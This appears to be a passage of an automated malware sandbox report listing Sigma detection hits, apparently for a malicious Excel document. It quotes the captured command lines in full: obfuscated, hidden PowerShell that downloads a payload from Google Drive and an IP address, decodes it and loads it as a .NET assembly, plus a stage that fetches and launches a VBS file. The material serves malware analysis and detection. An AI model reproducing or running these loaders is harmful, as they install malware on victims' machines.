ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9F
                Sigma detected: File With Uncommon Extension Created By An Office Application
                Source: File createdAuthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3560, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seemybestthingwhichigiventouformakebestappinesswogiven[1].hta
                Sigma detected: Potential PowerShell Command Line Obfuscation
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1
                Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1
                Sigma detected: Potentially Suspicious PowerShell Child Processes
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 808, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , ProcessId: 3876, ProcessName: wscript.exe
                Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9F
                Sigma detected: PowerShell Base64 Encoded Invoke Keyword
                Source: Process startedAuthor: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9F
                Sigma detected: Suspicious MSHTA Child Process
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", CommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; 